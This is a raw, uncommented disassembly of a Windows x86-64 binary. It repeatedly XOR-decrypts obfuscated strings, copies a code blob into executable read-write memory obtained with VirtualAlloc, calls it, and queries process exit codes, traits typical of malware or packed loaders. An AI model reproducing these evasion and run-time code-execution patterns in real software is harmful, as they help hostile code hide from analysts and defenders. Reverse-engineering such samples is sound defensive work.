lea r10, [rsp + 0x1f8]
nop dword [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x14023a160
xorps xmm0, xmm0
movups xmmword [rsp + 0x758], xmm0
mov qword [rsp + 0x768], rsi
mov qword [rsp + 0x770], rsi
lea rax, [rsp + 0x1f8]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14023a1d0
lea rdx, [rsp + 0x1f8]
lea rcx, [rsp + 0x758]
call fcn.14020c680
nop
lea rcx, [rsp + 0x758]
call fcn.1401fc2b0
mov qword [rsp + 0x528], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd50], xmm0
lea rax, [rsp + 0x62c8]
mov qword [rsp + 0xd58], r13
mov qword [rsp + 0xd60], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rsp + 0xd50], rdi
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402960e0]
test rax, rax
je 0x14023a279
mov rdx, rsi
nop word [rax + rax]
cmp rax, r15
je 0x14023a268
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2960e0]
test rax, rax
jne 0x14023a250
jmp 0x14023a279
mov r8, qword [r14 + rdx*8 + 0x295dc0]
test r8, r8
jne 0x14023a35f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14023a2a2
mov r8, rsi
jmp 0x14023a33e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023a2b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297720]
mov qword [r14 + rax*8 + 0x2960e0], r15
mov qword [r14 + rax*8 + 0x295dc0], r8
inc rax
mov qword [0x140297720], rax
lea rdx, [rsp + 0x528]
lea rcx, [fcn.1401fb240]
call r8
mov dword [rsp + 0xd30], eax
xor rdi, r13
lea rax, [rsp + 0x62c8]
mov qword [rax], rdi
lea rcx, [rsp + 0x758]
call fcn.140248aa0
movups xmm4, xmmword [0x14027d7b0]
movups xmmword [rsp + 0x288], xmm4
movzx eax, word [0x14027d7c0]
mov word [rsp + 0x298], ax
cmp byte [0x14027d7c1], 0
je 0x14023a70c
mov r9d, esi
cmp r12d, 2
jl 0x14023a6ab
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov ecx, dword [rsp + 0xd70]
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x288], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x28c]
xorps xmm2, xmm1
movd dword [rsp + 0x28c], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x290]
xorps xmm2, xmm1
movd dword [rsp + 0x290], xmm2
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x294]
xorps xmm2, xmm1
movd dword [rsp + 0x294], xmm2
mov r9d, 0x10
mov eax, r9d
lea r10, [rsp + 0x288]
add r10, rax
nop dword [rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x14023a6c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x778], xmm0
mov qword [rsp + 0x788], rsi
mov qword [rsp + 0x790], rsi
lea rax, [rsp + 0x288]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14023a736
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0x778]
call fcn.14020c680
nop
lea rcx, [rsp + 0x778]
call fcn.1401fc2b0
mov qword [rsp + 0x530], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xdb8], xmm0
lea rax, [rsp + 0x62c8]
mov qword [rsp + 0xdc0], r13
mov qword [rsp + 0xdc8], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rsp + 0xdb8], rdi
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402960e0]
test rax, rax
je 0x14023a7d9
mov rdx, rsi
cmp rax, r15
je 0x14023a7c8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2960e0]
test rax, rax
jne 0x14023a7b0
jmp 0x14023a7d9
mov r8, qword [r14 + rdx*8 + 0x295dc0]
test r8, r8
jne 0x14023a8bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14023a802
mov r8, rsi
jmp 0x14023a89e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023a810
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297720]
mov qword [r14 + rax*8 + 0x2960e0], r15
mov qword [r14 + rax*8 + 0x295dc0], r8
inc rax
mov qword [0x140297720], rax
lea rdx, [rsp + 0x530]
lea rcx, [fcn.1401fb240]
call r8
mov dword [rsp + 0x180], eax
xor rdi, r13
lea rax, [rsp + 0x62c8]
mov qword [rax], rdi
lea rcx, [rsp + 0x778]
call fcn.140248aa0
cmp dword [rsp + 0xd30], 0
jne 0x14023a90b
cmp dword [rsp + 0x180], 0
je 0x14023acb4
movups xmm5, xmmword [0x14027d388]
movups xmmword [rsp + 0x338], xmm5
movups xmm0, xmmword [0x14027d398]
movups xmmword [rsp + 0x348], xmm0
pextrw eax, xmm0, 7
test ax, ax
je 0x14023ac77
cmp r12d, 2
jl 0x14023ac1e
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm9
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm9, xmm0
pshufhw xmm0, xmm9, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, xmm5
xorps xmm3, xmm1
movq qword [rsp + 0x338], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x340]
xorps xmm3, xmm1
movq qword [rsp + 0x340], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm12, xmm0
pshufhw xmm0, xmm12, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x348]
xorps xmm3, xmm1
movq qword [rsp + 0x348], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x350]
xorps xmm3, xmm1
movq qword [rsp + 0x350], xmm3
jmp 0x14023ac77
lea r10, [rsp + 0x338]
mov r9d, 0xffcb
nop dword [rax]
mov eax, 0x22b63cbf
mul esi
shr edx, 4
movzx eax, dx
imul r8d, eax, 0x3b
mov eax, 0x3521cfb3
mul esi
mov ecx, esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 6
movzx edx, cx
imul edx, r9d
sub dx, r8w
add dx, 0x20
add dx, si
add dx, dx
xor word [r10], dx
inc esi
lea r10, [r10 + 2]
cmp esi, 0x10
jl 0x14023ac30
lea rdx, [rsp + 0x338]
lea rcx, [rsp + 0xb30]
call fcn.140246ea0
nop
lea rcx, [rsp + 0xb30]
call fcn.140206930
nop
lea rcx, [rsp + 0xb30]
call fcn.1402489a0
mov byte [0x1402940d1], 0
jmp 0x14023b7ef
mov r8d, dword [rsp + 0x70]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x14023b097
lea rdx, [rsp + 0xfc8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x14023acf2
inc ebx
mov dword [rsp + 0x178], ebx
jmp 0x140239db0
movups xmm5, xmmword [0x14027d388]
movups xmmword [rsp + 0x358], xmm5
movups xmm0, xmmword [0x14027d398]
movups xmmword [rsp + 0x368], xmm0
pextrw eax, xmm0, 7
test ax, ax
je 0x14023b05a
cmp r12d, 2
jl 0x14023b005
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm9
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm9, xmm0
pshufhw xmm0, xmm9, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, xmm5
xorps xmm3, xmm1
movq qword [rsp + 0x358], xmm3
movdqa xmm4, xmm11
punpckldq xmm4, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm2, xmm4
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psrad xmm4, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm14
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x360]
xorps xmm3, xmm1
movq qword [rsp + 0x360], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm12, xmm0
pshufhw xmm0, xmm12, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x368]
xorps xmm3, xmm1
movq qword [rsp + 0x368], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x370]
xorps xmm3, xmm1
movq qword [rsp + 0x370], xmm3
jmp 0x14023b05a
lea r10, [rsp + 0x358]
mov r9d, 0xffcb
mov eax, 0x22b63cbf
mul esi
shr edx, 4
movzx eax, dx
imul r8d, eax, 0x3b
mov eax, 0x3521cfb3
mul esi
mov ecx, esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 6
movzx edx, cx
imul edx, r9d
sub dx, r8w
add dx, 0x20
add dx, si
add dx, dx
xor word [r10], dx
inc esi
lea r10, [r10 + 2]
cmp esi, 0x10
jl 0x14023b013
lea rdx, [rsp + 0x358]
lea rcx, [rsp + 0xad0]
call fcn.140246ea0
nop
lea rcx, [rsp + 0xad0]
call fcn.140206930
nop
lea rcx, [rsp + 0xad0]
call fcn.1402489a0
mov byte [0x1402940d1], 0
jmp 0x14023b7ef
movups xmm5, xmmword [0x14027d388]
movups xmmword [rsp + 0x378], xmm5
movups xmm0, xmmword [0x14027d398]
movups xmmword [rsp + 0x388], xmm0
pextrw eax, xmm0, 7
test ax, ax
je 0x14023b407
cmp r12d, 2
jl 0x14023b3aa
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm9
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm9, xmm0
pshufhw xmm0, xmm9, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, xmm5
xorps xmm3, xmm1
movq qword [rsp + 0x378], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x380]
xorps xmm3, xmm1
movq qword [rsp + 0x380], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm12, xmm0
pshufhw xmm0, xmm12, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x388]
xorps xmm3, xmm1
movq qword [rsp + 0x388], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x390]
xorps xmm3, xmm1
movq qword [rsp + 0x390], xmm3
jmp 0x14023b407
lea r10, [rsp + 0x378]
mov r9d, 0xffcb
nop dword [rax + rax]
mov eax, 0x22b63cbf
mul esi
shr edx, 4
movzx eax, dx
imul r8d, eax, 0x3b
mov eax, 0x3521cfb3
mul esi
mov ecx, esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 6
movzx edx, cx
imul edx, r9d
sub dx, r8w
add dx, 0x20
add dx, si
add dx, dx
xor word [r10], dx
inc esi
lea r10, [r10 + 2]
cmp esi, 0x10
jl 0x14023b3c0
lea rdx, [rsp + 0x378]
lea rcx, [rsp + 0xb10]
call fcn.140246ea0
nop
lea rcx, [rsp + 0xb10]
call fcn.140206930
nop
lea rcx, [rsp + 0xb10]
call fcn.1402489a0
mov byte [0x1402940d1], 0
jmp 0x14023b7ef
movups xmm5, xmmword [0x14027d388]
movups xmmword [rsp + 0x318], xmm5
movups xmm0, xmmword [0x14027d398]
movups xmmword [rsp + 0x328], xmm0
pextrw eax, xmm0, 7
test ax, ax
je 0x14023b7b7
cmp r12d, 2
jl 0x14023b757
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
